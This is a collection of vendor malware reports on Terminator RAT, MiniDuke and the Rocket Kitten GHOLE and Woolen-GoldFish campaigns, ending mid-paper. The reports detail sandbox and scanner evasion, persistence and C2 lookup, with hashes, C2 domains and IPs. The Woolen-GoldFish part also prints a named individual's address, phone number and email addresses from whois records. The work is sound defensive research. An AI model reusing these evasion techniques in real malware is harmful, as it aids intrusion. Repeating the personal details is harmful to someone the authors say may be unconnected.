During our research, we have also uncovered strong evidence suggesting that OnionDuke has been used in targeted attacks against European government agencies, although we have so far been unable to identify the infection vector(s).
Interestingly, this would suggest two very different targeting strategies.
On one hand is the shooting a fly with a cannon mass-infection strategy through modified binaries and, on the other, the more surgical targeting traditionally associated with APT operations.
In any case, although much is still shrouded in mystery and speculation, one thing is certain.
While using Tor may help you stay anonymous, it does at the same time paint a huge target on your back.
Its never a good idea to download binaries via Tor (or anything else) without encryption.
The problem with Tor is that you have no idea who is maintaining the exit node you are using and what their motives are.
VPNs (such as our Freedome VPN) will encrypt your connection all the way through the Tor network, so the maintainers of Tor exit nodes will not see your traffic and cant tamper with it.
Samples: a75995f94854dea8799650a2f4a97980b71199d2 b491c14d8cfb48636f6095b7b16555e9a575d57f d433f281cf56015941a1c2cb87066ca62ea1db37 Detected as: Trojan-Dropper:W32/OnionDuke.
A, Backdoor:W32/OnionDuke.
A, and Backdoor:W32/OnionDuke.
B.
Post by  Artturi (lehtior2) http://www.f-secure.com/en/web/home_global/freedome https://www.twitter.com/lehtior2
Evasive Tactics: Terminator RAT FireEye Labs has been tracking a variety of advanced persistent threat (APT) actors that have been slightly changing their tools, techniques, and procedures (TTPs) in order to evade network defenses.
Earlier, we documented changes to Aumlib, the malware used in the attack against the New York Times, and Taidoor, a malware family that is being used in ongoing cyber-espionage campaigns particularly against entities in Taiwan.
In this post we will explore changes made to Terminator RAT (Remote Access Tool) by examining a recent attack against entities in Taiwan.
We recently analyzed a sample that we suspect was sent via spear-phishing emails to targets in Taiwan.
As shown in Figure 1, the adversary sends a malicious Word document, 103.doc (md5: a130b2e578d82409021b3c9ceda657b7), that exploits CVE-2012-0158, which subsequently drops a malware installer named DW20.exe.
This particular malware is interesting because of the following: It evades sandbox by terminating and removing itself (DW20.exe) after installing.
Malicious behavior will only appear after reboot.
It deters single-object based sandbox by segregation of roles between collaborating malwares.
The RAT (svchost_.exe) will collaborate with its relay (sss.exe) to communicate with the command and control server.
It deters forensics investigation by changing the startup location.
It deters file-based scanning that implements a maximum file size filter, by expanding the size of svchost_.exe to 40MB.
The ultimate payload of the attack is Terminator RAT, which is also known as FakeM RAT.
This RAT does not appear to be exclusively used by a single APT actor, but is most likely being used in a variety (of possibly otherwise unrelated) campaigns.
In the past, this RAT has been used against Tibetan and Uyghur activists, and we are seeing an increasing number of attacks targeting Taiwan as well.
However, these attacks use some evasive tactics that demonstrate the evolution of Terminator RAT.
First, the attackers have included a component that relays traffic between the malware and a proxy server.
Second, they have modified the 32-byte magic header that in previous versions attempted to disguise itself to look like either MSN Messenger, Yahoo Messenger, or HTML code.
These modifications appear to be an attempt to evade network defenses, perhaps in response to defenders increasing knowledge of the indicators of compromise associated with this malware.
We http://www.fireeye.com/blog/technical/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html http://www.fireeye.com/blog/technical/2013/09/evasive-tactics-taidoor-3.html http://www.malware.lu/Pro/RAP002_APT1_Technical_backstage.1.0.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-fakem-rat.pdf will discuss the individual components of this attack in more detail.
Figure 1 1.
DW20.exe (MD5: 7B18E1F0CE0CB7EEA990859EF6DB810C) DW20.exe was found to be the installation executable file.
It will first create its working folders located at UserProfile\Microsoft and AppData\2019.
The former is used to store the configurations and executable files (svchost_.exe and sss.exe) and the latter is used to store the shortcut link files.
This folder 2019 was then configured to be the new start up folder location by changing the registry HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup with the location of its path (see Figure 2).
http://www.fireeye.com/blog/wp-content/uploads/2013/10/01.png Figure 2 The executable file sss.exe was found to be the decrypted form of the resource named 140 with type ACCELORATOR (likely misspelling of Accelerator  see Figure 3).
This resource was decrypted using customized XTEA algorithm and appended with an encrypted configuration for the domains and ports.
Figure 3 After installation, DW20.exe deletes and terminates itself.
The malwares will only run after reboot.
This is one effective way to evade sandbox automatic analysis, as malicious activity will only reveal after a reboot.
2.
sss.exe (MD5: 93F51B957DA86BDE1B82934E73B10D9D) sss.exe is an interesting malware component.
As a researcher would analyze it independently, it is not considered a malicious program.
This component plays the role as a network relay between the malware and the proxy server, by listening over port 8000.
To achieve this, it first tries to identify http://www.fireeye.com/blog/wp-content/uploads/2013/10/02.png http://www.fireeye.com/blog/wp-content/uploads/2013/10/03.png the list of proxy servers that are used within the system using WinHttpGetIEProxyConfigForCurrentUser, and the discovered proxy servers and related ports are stored in the same directory in a file named PROXY (see Figure 4).
Figure 4 When there is a new incoming TCP connection over port 8000, it will attempt to create a local to proxy socket connection.
With that, it will check connectivity with the CnC server.
If the response is 200, it will then start to create a relay link between the malware and the CnC server (see Figure 5).
The relay link was created using two threads, where one thread will transfer data from socket 1 to socket 2 (see Figure 6) and the other will do vice versa.
http://www.fireeye.com/blog/wp-content/uploads/2013/10/04.png Figure 5 Figure 6 http://www.fireeye.com/blog/wp-content/uploads/2013/10/05.png http://www.fireeye.com/blog/wp-content/uploads/2013/10/06.png As depicted in Figure 7, the user agent is hard coded.
It is a possible means to identify potentially malicious traffic, as Internet Explorer 6 is significantly outdated and MSIE 6.0.1.3 is not a valid version token.
Figure 7 The configurations for the malicious domains and ports to use are located at the last 188 bytes of the executable file (see Figure 8).
The first 16 bytes is the key (boxed in red) to decrypt the remaining content using modified XTEA algorithm (see Figure 9).
The two malicious domains found were liumingzhen.zapto.org and liumingzhen.myftp.org Figure 8 http://www.fireeye.com/blog/wp-content/uploads/2013/10/07.png http://www.fireeye.com/blog/wp-content/uploads/2013/10/08.png Figure 9 3.
Network Traffic The Terminator sample we analyzed, 103.doc (md5: a130b2e578d82409021b3c9ceda657b7) was not configured with fake HTML, Yahoo Messenger, or Windows Messenger traffic header as it had in past variants.
However, the content is encrypted in exactly the same way as previous versions of Terminator RAT.
Figure 10 The decrypted content reveals that the malware is sending back the user name, the computer name and a campaign mark of zjz1020.
http://www.fireeye.com/blog/wp-content/uploads/2013/10/09.png http://www.fireeye.com/blog/wp-content/uploads/2013/10/10.png Figure 11 This particular sample is configured to one of two command and control servers: liumingzhen.zapto.org / 123.51.208.69 liumingzhen.myftp.org / 123.51.208.69 We have located another malicious document that has a Taiwan-related decoy document that drops this same version of Terminator RAT.
Figure 12 The sample we analyzed (md5: 50d5e73ff8a0693ed2ee2d320af3b304) exploits CVE-2012-0158 and has the following command and control server: http://www.fireeye.com/blog/wp-content/uploads/2013/10/11.png http://www.fireeye.com/blog/wp-content/uploads/2013/10/12.png catlovers.25u.com  / 123.51.208.142 The command and control servers for both samples resolved to IP addresses in the same class C network.
4.
Campaign Connections In June 2013, we investigated an attack against entities in Taiwan that used spear-phishing emails to deliver a malicious attachment.
Figure 13 The malicious attachment .doc (md5: bfc96694731f3cf39bcad6e0716c5746) exploited a vulnerability in Microsoft Office (CVE-2012-0158), however, the payload in this case was a different malware family known as WinData.
The malware connected to the same command and control http://www.fireeye.com/blog/wp-content/uploads/2013/10/13.png server, liumingzhen.zapto.org, but the callback is quite different: XYZ /WinData.
DLL?HELO-STX-11[IP Address][Computer Name]0605[MAC:[Mac Address]] In a separate case where liumingzhen.zapto.org has been used as the command and control server, the payload was neither WinData nor Terminator RAT, but another type of malware known as Protux.
The sample we analyzed in August 2012 for this case was .doc (md5: 01da7213940a74c292d09ebe17f1bd01).
This particular threat actor has access to a variety of malware families and has been using them to target entities in Taiwan for more than a year.
Conclusion Terminator RAT is an example of how malware are increasingly becoming more sophisticated and harder to detect.
There is a need for continual research to understand various techniques, tactics, and procedures used by the adversaries.
Detection of exploitation and identification of anomalous callbacks are becoming extremely critical in preventing the malware from installing into the system or phoning back to the command control servers.
This entry was posted in Advanced Malware, Targeted Attack, Threat Intelligence, Threat Research by Geok Meng Ong, Nart Villeneuve and Chong Rong Hwa.
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Miniduke still duking it out At the end of April Microsoft announced that a vulnerability in Word was actively being exploited.
This vulnerability occurred in parsing RTF files and was assigned CVE-2014-1761, a thorough analysis of which can be found on the HP Security Research blog.
We have since seen multiple cases where this exploit is used to deliver malware and one was particularly interesting as it contained a new variant of MiniDuke (also known as Win32/SandyEva).
MiniDuke was first discussed by Kaspersky in March 2013 in their paper The MiniDuke Mystery: PDF 0- day Government Spy Assembler 0x29A Micro Backdoorand shortly after in a paper by Bitdefender.
Some of the characteristics of MiniDuke  such as its small size (20 KB), its crafty use of assembly programming, and the use of zero-day exploits for distribution  made it an intriguing threat.
Although the backdoor is still quite similar to its previous versions, some important changes were made since last year, the most notable being the introduction of a secondary component written in JScript to contact a CC server via Twitter.
http://web.nvd.nist.gov/view/vuln/detail?vulnIdCVE-2014-1761 http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Technical-Analysis-of-CVE-2014-1761-RTF-Vulnerability/ba-p/6440048.U3Dtn_ldWX0 http://virusradar.com/en/Win32_SandyEva/detail https://www.securelist.com/en/downloads/vlpdfs/themysteryofthepdf0-dayassemblermicrobackdoor.pdf http://labs.bitdefender.com/wp-content/uploads/downloads/2013/04/MiniDuke_Paper_Final.pdf https://en.wikipedia.org/wiki/JScript http://www.virusradar.com/en/glossary/command-and-control-server The RTF exploit document The exploit document was named Proposal-Cover-Sheet-English.rtf and is quite bland when compared to http://www.welivesecurity.com/wp-content/uploads/2014/05/1-exploitdoc.png the documents that were used in 2013, which were of a political nature.
We received the document on April 8th, only three days after the compilation of the MiniDuke payload, dated April 5th in the PE header.
The payload remains quite small at only 24 KB.
The functionality of the shellcode which is executed by triggering the vulnerability is rather simple and straightforward.
After decrypting itself and obtaining the addresses of some functions exported by kernel32.dll, it decrypts and drops the payload in the TEMP directory in a file named a.l which is subsequently loaded by calling kernel32LoadLibraryA.
An interesting thing about the shellcode is that before transferring control to any API function it checks the first bytes of the function in order to detect hooks and debugger breakpoints which may be set by security software and monitoring tools.
If any of these are found the shellcode skips the first 5 bytes of the function being called by manually executing prologue instructions (mov edi, edi push ebp mov ebp, esp) and then jumping to the function code as illustrated below.
The next graph presents the execution flow of this malware when the exploitation is successful.
As mentioned previously this version of the MiniDuke payload comes with two modules which we refer to as the main module and the TwitterJS module.
http://www.welivesecurity.com/wp-content/uploads/2014/05/2-shellcode.png Execution flow of MiniDuke Main Component Installation Once MiniDuke receives control it checks that the host process is not rundll32.exe and whether the current directory is TEMP.
If either of those conditions is met the malware assumes it is run for the first time and it proceeds with its installation onto the system.
MiniDuke gathers information about the system and encrypts its configuration based on that information, a method also used by OSX/Flashback (this process is called watermarking by Bitdefender).
The end result is that it is impossible to retrieve the configuration of an encrypted payload if analyzing it on a different computer.
The information collected on infection has not changed since the previous version and consists of the following values: volume serial number (obtained from kernel32GetVolumeInformationA) CPU information (obtained with the cpuidinstruction) computer name (obtained from kernel32GetComputerNameA) Once the encrypted version of the malware is created, it is written into a file in the ALLUSERSPROFILE\Application Data directory.
The name of the file is randomly picked from the following values (you can find this listing and those of the next screenshots on the VirusRadar description: The filename extension is also picked randomly from the following list: To persist on the infected system after reboots, the malware creates a hidden .LNK file in the Startup directory pointing to the modified main module.
The name of the .LNK file is randomly drawn from the http://www.welivesecurity.com/wp-content/uploads/2014/05/3-schema.png http://go.eset.com/us/resources/white-papers/osx_flashback.pdf http://www.virusradar.com/en/Win32_SandyEva.G/description http://www.welivesecurity.com/wp-content/uploads/2014/05/4-filename.png http://www.welivesecurity.com/wp-content/uploads/2014/05/5-fileext.png following values: The .LNKfile is created using a COM object with the IShellLinkA interface and contains the following command: C:\Windows\system32\rundll32.exe path_to_main_module, export_function Which gives something like: C:\Windows\system32\rundll32.exe C:\DOCUME1\ALLUSE1\APPLIC1\data.cat, IlqUenn.
Operation When the malware is loaded by rundll32.exe and the current directory isnt TEMP, the malware starts with gathering the same system information as described in the Installation section to decrypt configuration information.
As with the previous version of MiniDuke, it checks for the presence of the following processes in the system: If any of these are found in the system the configuration information will be decrypted incorrectly, i.e.
the malware will run on the system without any communication to CC servers.
If the configuration data is decrypted correctly, MiniDuke retrieves the Twitter page of FloydLSchwartz in search of URLs by which to reach CC server.
It looks for the tag X))) on the page (MiniDuke was searching for uri in previous samples) and if the tag is found it decrypts a URL from the data that follows it.
The Twitter account FloydLSchwartz does exist but has only retweets and no strings with the special tag.
http://www.welivesecurity.com/wp-content/uploads/2014/05/6-lnkname.png http://www.welivesecurity.com/wp-content/uploads/2014/05/7-processes.png As the next step, MiniDuke gathers the following information from the infected systems: computer name and user domain name country code of the infected host IP address obtained from http://www.geoiptool.com OS version information domain controller name, user name, groups a user account belongs to a list of AV products installed onto the system Internet proxy configuration version of MiniDuke This information is then sent to the CC server along with the request to download a payload.
The final URL used to communicate with the CC server looks like this: url_start/create.php?rnd_param system_info Those tokens are derived as follows: url_start  the URL retrieved from the twitter account rnd_param  randomly generated of lower case alphabet characters parameter name in the query http://www.welivesecurity.com/wp-content/uploads/2014/05/8-twitter1.png http://www.geoiptool.com/ string of the URL system_info  base64 encoded and encrypted system information An example of such a URL is given below: The payload is downloaded in the file named fdbywu using the urlmonURLDownloadToFileA API: The downloaded payload is a fake GIF8 file containing encrypted executable.
The malware processes the downloaded file in the same way as previous samples of MiniDuke: it verifies the integrity of the file using RSA-2048, then decrypts it, stores in a file and finally executes it.
The RSA-2048 public key to verify integrity of the executable inside the GIF file is the same as in the previous version of MiniDuke.
Twitter Generation Algorithm In the event that MiniDuke is unable to retrieve a CC URL from this account, it generates a username to search for based on the current date.
The search query changes roughly every seven days and is similar to the backup mechanism in previous versions that was using Google searches.
A Python implementation of the algorithm can be found in Appendix B. TwitterJS component http://www.welivesecurity.com/wp-content/uploads/2014/05/9-ur.png The TwitterJS module is extracted by creating a copy of the Windows DLL cryptdll.dll, injecting a block of code into it and redirecting the exported functions to this code.
Here is how the export address table of the patched binary looks after modifications.
This file is then stored in an Alternate Data Stream (ADS) in NTUSER.DAT in the USERPROFILE folder.
Finally this DLL is registered as the Open command when a drive is open, which has the effect of starting the bot every time the user opens a disk drive.
Below you can find the content of the init.cmd script used by MiniDuke to install TwitterJS module onto the system.
When loaded, TwitterJS instantiates the JScript COM object and decrypts a JScript file containing the core logic of the module.
Prior to executing it, MiniDuke applies a light encoding to the script: The next images show the result of http://msdn.microsoft.com/en-us/library/windows/desktop/aa364404(vvs.85).aspx http://www.welivesecurity.com/wp-content/uploads/2014/05/11-exports.png http://www.welivesecurity.com/wp-content/uploads/2014/05/12-install.png http://www.welivesecurity.com/wp-content/uploads/2014/05/13-jscript1.png two separate obfuscations, we can see that the variables have different values.
This is probably done to thwart security systems that scan at the entry points of the JScript engine.
Result of first obfuscation Result of second obfuscation The purpose of this script is to use Twitter to find a CC and retrieve JScript code to execute.
It first generates a Twitter user to search for this search term changes every 7 days and is actually a match to the real account name, not the Twitter account name.
The bot then visits the Twitter profiles returned by the search and looks for links that end with .xhtml.
When one is found, it replaces .xhtml with .php and fetches that link.
Information about the computer is embedded in the Accept HTTP header.
The first link on the retrieved page should contain base64 data the name attribute of the link is used as a rolling XOR key to decrypt the JScript code.
Finally, MiniDuke calculates a hash of the fetched script and compares it with a hardcoded hash in the TwitterJS script.
If they match, the fetched script is executed by calling eval().
The tale of the broken SHA-1 The code hashing algorithm used by the component looks very much like SHA-1 but outputs different hashes (you can find the complete implementation in Appendix B.
We decided to search for what was http://www.welivesecurity.com/wp-content/uploads/2014/05/14-obfuscation1.png http://www.welivesecurity.com/wp-content/uploads/2014/05/15-obfuscation2.png http://www.welivesecurity.com/wp-content/uploads/2014/05/16-twitterjs1.png http://www.welivesecurity.com/wp-content/uploads/2014/05/17-twitterjs2.png changed in the algorithm one of our working hypotheses was that the algorithm might have been altered to make collisions feasible.
We couldnt find an obvious difference all the constants and the steps of the algorithm were as expected.
Then we noticed that for short messages only the second 32-bit word was different when compared to the original SHA-1.
SHA1(test) : a94a8fe5ccb19ba61c4c0873d391e987982fbbd3 TwitterJS_SHA1(test) : a94a8fe5dce4f01c1c4c0873d391e987982fbbd3 By examining how this 2nd word was generated we finally discovered that this was caused by a scope issue.
As shown below the SHA-1 function used a variable named f: the function Z() is then called which also uses a variable named f without the var keyword, causing it to be treated as a global variable rather than local to the function.
The end result is that the value of f is also changed in the SHA-1 function which affects the value of the 2nd word for that round and ultimately the whole hash for long messages.
A likely explanation of how this problem came to be is that the variable names were changed to single letters using an automated tool prior to embedding it in the payload.
The 2 f variables probably had different names in the original script which avoided the issue.
So this leaves us with two takeaways: 1) The difference in the hashing algorithm was unintentional and 2) Always declare your local variables with the var keyword.
-)
Twitter DGA accounts We generated the list of Twitter search terms for 2013-2014 and checked if any of those were registered.
At the moment only one exists, AA2ADcAOAA, which is the TwitterJS account that was generated between August 21st and 27th 2013.
This account has no tweets.
In an effort to discover potential victims, we registered the Twitter accounts corresponding to the current week both for the main and TwitterJS components and set up tweets with encrypted URLs so that an infected computer would reach out to our server.
So far we have received connections via the TwitterJS accounts from four computers located in Belgium, France and the UK.
We have contacted national CERTs to notify the affected parties.
We detect the RTF exploit document as Win32/Exploit.
CVE-2014-1761.D and the MiniDuke components as Win32/SandyEva.
G. Appendix A: SHA-1 hashes SHA-1 Description 58be4918df7fbf1e12de1a31d4f622e570a81b93 RTF with Word exploit CVE-2014-1761 http://virusradar.com/en/Win32_Exploit.CVE-2014-1761/detail http://www.virusradar.com/en/Win32_SandyEva.G/description b27f6174173e71dc154413a525baddf3d6dea1fd MiniDuke main component (before config encryption) c059303cd420dc892421ba4465f09b892de93c77 TwitterJS javascript code Appendix B C: DGA algorithms, Twitter DGA accounts The DGA scripts and account lists have been moved to our Github account : https://github.com/eset/malware-research/tree/master/miniduke Author ESET Research, ESET https://github.com/eset/malware-research/tree/master/miniduke http://www.welivesecurity.com/author/esetresearch/
OperatiOn WOOLen-GOLDFiSH When Kittens Go phishing Cedric Pernet and Kenney Lu TREND MICRO LEGAL DISCLAIMER The information provided herein is for general information and educational purposes only.
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COntentS Introduction ................................................................................................i Victims and Targets ............................................................................. 1 Rocket Kittens New Campaign Matures ............................................. 2 The GHOLE Campaign ................................................................... 2 Export Function: Function ............................................................ 2 Related Samples ......................................................................... 3 Use of Malware Scanner ............................................................. 4 GHOLE Malware Communication and Control ............................ 5 Operation Woolen-GoldFish: Rocket Kittens New Campaign ......... 7 Point of Entry ............................................................................... 7 Initial Compromise ....................................................................... 8 Possible Attribution .............................................................................. 8 Wool3n.
H4t ...................................................................................... 8 Wool3n.
H4ts Recent Activities: CWoolger Keylogger ................... 10 Indicators of Compromise .................................................................. 13 Conclusion ................................................................................................ii References .............................................................................................. iii Appendix..................................................................................................iv 2  2015 Trend Micro Incorporated intrODuCtiOn State-sponsored cyberwarfare is no different than physical battles or terrorist attacks in terms of scope and damage.
Arguably, cyber attacks are much worse because the identity of attackers are easily concealed, slowing down any process that could bring perpetrators to justice.
Attackers are also not restricted by time and location.
Interestingly, Middle Eastern countries and some members of the European Union (EU) have recently figured in targeted attacks, either as an aggressor or a victim, for seemingly political reasons.
At the recently concluded 31st Chaos Communication Congress of the Chaos Computer Club (31C3), cybersecurity researchers discussed the ways and means by which threat actors can use widely available software to cover their tracks and carry out their campaigns.
[
1] The focus of this particular lecture was the GHOLE malware used in targeted attack campaigns.
GHOLE is believed to have been active since 2011 based on the compilation date of its oldest samples.
Targeted attacks are well-planned cyberthreat activities aimed at specific organizations.
In this paper, we delve into the malicious activities of a cyberthreat group, known in the cybersecurity industry as Rocket Kitten, which has been hitting different public and private Israeli and European organizations.
Rocket Kitten has so far launched two campaignsGHOLE malware attacks and one we have dubbed Operation Woolen-GoldFish.
We named it as such because Woolen is attributed to the malware developer and one of the threat actors behind this campaign GoldFish serves as an attribute to the location of origin with which the campaign was seemingly launched from.
The Rocket Kitten group used spear-phishing emails in order to penetrate their target systems.
Based on the malware samples we have obtained from files with macro malware specific to the GHOLE malware campaign, we found that they were mostly interested in the defense industry, the IT sector, government entities, and academic organizations.
Certain details from the malware samples show that Operation Woolen-GoldFish was most likely to be a state- sponsored campaign.
OperatiOn WOOLen-GOLDFiSH research paper 1  Page  2015 Trend Micro Incorporated ViCtimS anD tarGetS The content of the files we have collected from this group of attackers is quite straightforward.
They contain information that is very customized in relation to the target entity.
Some files are written in German, while others contain information specific to just one vertical.
All of these have been used for spear-phishing emails against various targets.
Seeing the content of these files, we suspect they have all been used for spear phishing against the following: Civilian organizations in Israel Academic organizations in Israel German-speaking government organizations European organizations European private company Attack overview OperatiOn WOOLen-GOLDFiSH research paper 2  Page  2015 Trend Micro Incorporated rOCKet KittenS neW CampaiGn matureS The GHOLE Campaign In February 2015, the Trend Micro Smart Protection Network received an alert from Europe that triggered several targeted attack indicators related to a specific malware family, prompting our threat defense experts to investigate further.
The alert showed an infected Microsoft Excel file that soon proved to have been launched by Rocket Kitten.
When a user opens the Excel file attachment in the spear-phishing attempt, a .DLL file is dropped onto the system and is executed using a macro embedded in the file.
Macros are small scripts within files that are usually used to automate common repetitive tasks.
However, these can also be used for malicious intent, such as infecting machines of unsuspecting users with malware, just like in this situation.
Trend Micro detects the malware as TROJ_GHOLE.A.
It is common for Rocket Kitten to use GHOLE in their targeted attack campaigns.
The dropped .DLL file (SHA1 hash: 07a77f8b9f0fcc93504dfba2d7d9d26246e5878f BKDR_GHOLE.B) is scanned on VirusTotal, but there were no results, raising further interest to analyze the binary.
[
23] The .DLL file contained an export function named, function, instead of the usual, gholee, found in previous samples from this malware family.
We suspect that the attacker did this on purpose so the malware can bypass detection and stay within the targeted system that would eventually give it more freedom to move laterally.
Export function, function Use of the push mnemonic to pass values in the code IP address Export Function: Function The top-right boxed code in the screenshot, displayed to the right, shows an unusual code that uses push to pass values like those shown in the screenshots below it.
When passed to WINAPI, it will look like a string on stack.
The first block contains the address of the command-and-control (CC) server of the malware, which is located at IP address, 83.170.33.60.
This value is specified in the code, as shown in the third screenshot.
The second boxed code in function, ZKXdu80x, is the client version.
The third is an encryption key with a length of 256 bytes (2,048 bits) used for network communications, and starts with the pattern, GET /index.php?cxxxxxxxxrxxxxxu1t.
In all samples we have analyzed, the c argument is 8 bytes long and differs across variants.
This can be used as a unique identifier for each of the infected machines.
The r argument has a variable length, 57 bytes the u argument is always 1 byte long.
Other communication patterns can be found in the binary and can be used as indicators of compromise: index.php?csrlx index.php?csrlxu1ts index.php?csrx OperatiOn WOOLen-GOLDFiSH research paper 3  Page  2015 Trend Micro Incorporated rElatEd SamplES We found several Microsoft Office files containing variants of the GHOLE malware family that were used to infect machines.
As the Excel spreadsheet used in this campaign is disguised to look relevant and important, users were prompted to open it and execute the embedded macro.
The use of macros to infect computers is deemed amateur.
This shows that there is a gap between the maturity of the malware, which is good enough for its purpose, and the way it is delivered, which raises questions about the attackers professional capacity.
We decided to look at the spear-phishing attempts from a wider perspective and analyzed more samples from this malware family.
Based on available evidence, only the Rocket Kitten group is known to have used GHOLE in the attacks related to Operation Woolen-GoldFish.
It is interesting to note that the GHOLE malware is in fact a modified CORE IMPACT product.
CORE IMPACT is a sophisticated penetration-testing tool from CORE, a legitimate company.
[
4] SamplecontentfrommaliciousMicrosoftOfficefiles the attacker needs the user to enable the macro to infect the computer SamplecontentfromamaliciousOfficefileafter runningthemacrothecontentiscommonand publicly available on the Internet OperatiOn WOOLen-GOLDFiSH research paper 4  Page  2015 Trend Micro Incorporated After studying the sample infected and dropped files, we established a timeline using the dates when the executable files were compiled.
This timeline should be reliable unless the attackers played with the time stamps, which would be surprising in this campaign since all binary compilation dates fit quite well with the spear-phishing attacks.
As is often the case with malware families specifically used in targeted attacks, there are actually very few different samples in the wild, compared with traditional cybercrime malware.
The Microsoft Office files used by the attackers to infiltrate their targets networks are also very interesting because they contain metadata.
Metadata can be defined as the information about the information, which in this case is the information pertaining to the file itself.
Some of details of the available metadata were useful, particularly, the creation date, modification date, author, and last modification author.
We will tackle the metadata later on in this paper.
uSE oF malwarE ScannEr During the course of this investigation, we found out that some samples of the GHOLE malware have been submitted to an online-malware-scanning site, av.zerodays.ir, to estimate the detection rate of their malware.
[
5] Three samples appeared to have been scanned using this service before they appeared elsewhere.
One sample was submitted 26 days before it was scanned in other online malware analysis service sites.
This led us to believe that the malware controllers submitted the original samples to the av.zerodays.ir system themselves.
We would like to point out that the av.zerodays.ir online service is free and available to everyone on the Internet.
We contacted a representative of the company, who in turn told us that they do not condone cybercrime or in any way affiliated to any entity that could have been part of this campaign.
Number of malware samples compiled OperatiOn WOOLen-GOLDFiSH research paper 5  Page  2015 Trend Micro Incorporated GHolE malwarE communication and control The communications established by this malware family from an infected workstation to the CC server are done by directly communicating with the IP addresses hard- coded in the binaries, as seen in the export function display.
There were no domain names involved in this campaign.
We were able to obtain a list of CC servers, which are mostly hosted in Germany, via a satellite communication service provider known as Industrieanlagen-Betriebsgesellschaft mbH (IABG): [6] 83.170.33.37 83.170.33.60 83.170.43.67 83.170.33.80 84.11.26.230 84.11.75.220 84.11.146.55 The last IP address, 84.11.146.55, was associated with one malware sample.
It belongs to IABG with only the following information available: inetnum: 84.11.146.0 - 84.11.146.255 netname: DE-IABG-TELEPORT-ERTEBATAT descr: IABG - Teleport customer Ertebatat country: DE The other IP addresses were used by different malware samples.
These IP addresses also belonged to IABG and could all be connected to the same customer.
In fact, all of the IP ranges on which these CC servers are identified belonged to one customer, who rents the following IP ranges from IABG: 84.11.26.22484.11.26.255 84.11.37.12884.11.37.159 84.11.75.19284.11.75.255 83.170.33.3283.170.33.63 83.170.33.6483.170.33.95 83.170.43.6483.170.43.95 OperatiOn WOOLen-GOLDFiSH research paper 6  Page  2015 Trend Micro Incorporated netname: DE-IABG-TELEPORT-MAHDAVI_8 descr: IABG - Teleport customer Mehdi Mahdavi country: DE person: Mehdi Mahdavi address: No 83 - Baharestan st address: Isfahan address: IR phone: 98 913 115 8009 email: mahdavilivenetsat.
com Registration for the livenetsat.com domain used here expired in 2010.
It was registered using this information: Registrant: Mehdi Mahdavi mehdi_mahdaviyahoo.com 1.5149092726 Joinebiz 2021 Atwater Street, 1414 Montreal,QC,CA H3H-2P2 The first historical information about this domain, in 2003, has the following details: Registrant: Mehdi Mahdavi technicaljoinebiz.com 514-989-8066 Joinebiz 2021 Atwater Street, 1414 Montreal, QC, Canada H3H-2P2 Screenshot from joinebiz.com in 2001 Joinebiz.com was an e-business solution provider that ceased to operate in 2006.
Incidentally, it held office in Isfahan, Iran, which is the country Mr. Mehdi Mahdavi used as reference for renting the IP ranges used by the GHOLE malware.
These details can loosely be tied to the entities presented above but caution is strongly advised because the names are quite common.
We have yet to determine if these names belong to one person, if the same person is the one who rents IP ranges from IABG, if his servers were compromised and used as proxy servers, or if he provides part of his infrastructure to the Operation Woolen-GoldFish targeted attack group.
OperatiOn WOOLen-GOLDFiSH research paper 7  Page  2015 Trend Micro Incorporated Operation Woolen-GoldFish: Rocket Kittens New Campaign point oF Entry Sending out spear-phishing emails is a common technique used as a point of entry in the initial stage of compromise.
It is, in fact, still widely used in attempts to gain privileges in targeted companies systems.
Several social engineering tricks can be used to make a user click a link or open a file.
One of the spear-phishing emails sent out by the Rocket Kitten group looked like a simple office correspondence.
The attachment was a Microsoft Office file.
User participation is needed to execute the macros in the file.
If the user does not run the macros, the computer will not be infected by the GHOLE malware.
By the end of 2014, however, we saw significant changes in the attack behavior of the Rocket Kitten group in terms of spear-phishing campaigns and malware infection scheme.
The second spear-phishing email sample has been sent to one target in Israel.
This email sample was sent sometime in February 2015.
This also used the identity of a recognized Israeli engineer.
We anonymized the email address, as well as the OneDrive link.
We also removed the signature used in it.
A known figure in the Israeli defense field was used in a similar tactic with the same email content.
The decoy file used an Adobe .PDF file instead of a Microsoft PowerPoint presentation.
The .PDF file was a Web article from the Washington Post.
The file showed pc12 as the author and the last modifier.
systems record Sample spear-phishing email used by the group in 2014 Sample spear-phishing email sent to a targeted organization in Israel OperatiOn WOOLen-GOLDFiSH research paper 8  Page  2015 Trend Micro Incorporated initial compromiSE The attackers used a OneDrive link in their campaign.
OneDrive is a free online cloud storage system from Microsoft that comes with several gigabytes of data storage capacity.
The OneDrive link leads to an archive file containing a file named, Irans Missiles Program.ppt.exe.
This file, which has been taken offline, used the PowerPoint icon but was really an executable file.
The attackers probably decided to store their malicious binaries online rather than sent them as an attachment to bypass email detection.
Once executed, the file drops a nonmalicious PowerPoint file used as a decoy file, while silently infecting the system with a variant of the CWoolger keylogger.
We decided not to show the content of this file given the sensitivity of the persona impersonated in this social engineering lure.
We tried to look for this decoy file on the Internet but it was nowhere to be found, which was quite surprising.
We compared the metadata on this file with the other files authored by the spoofed engineer and it showed the same exact file properties, particularly the way the author field was written.
The file also shows a Lastmodified by: field containing the information pc12.
Rocket Kitten has signed pc12 at the last modified section of some of the files used in their spear-phishing activities.
We do not know if this string refers to one Rocket Kitten member or to a third party, who could have edited the files.
The latter is very unlikely though, since it has been used both in campaigns and files aimed at different targets.
We believe pc12 is, indeed, an indicator of Rocket Kitten activities.
We have a strong suspicion, based on the PowerPoint file, that the spoofed engineers computer was compromised by the Rocket Kitten group because he presents an interesting profile and is well-known in his field.
Therefore, the file sent to other Israeli targets could have been stolen directly from this persons computer.
pOSSibLe attributiOn Wool3n.
H4t Cybercriminals quite often forget about metadata, which is generated by the software they use to produce or modify the files.
Those who are more meticulous alter this information to lead investigators to false tracks.
Malware binary shows the PowerPoint icon to trick the user OperatiOn WOOLen-GOLDFiSH research paper 9  Page  2015 Trend Micro Incorporated SHA1 Hash Creation Date Modification Date Author Last Modified By ec692cf82aef16cf61574b5d15e5c5f8135df288 02/07/2014 30/07/2014 YUSI YUSI 788d881f3bb2c82e685a98d8f405f375c0ac2162 23/06/2014 27/07/2014 Woole3n.
H4t UK 2c3edde41e9386bafef248b71974659543a3d774 23/06/2014 15/07/2014 Woole3n.
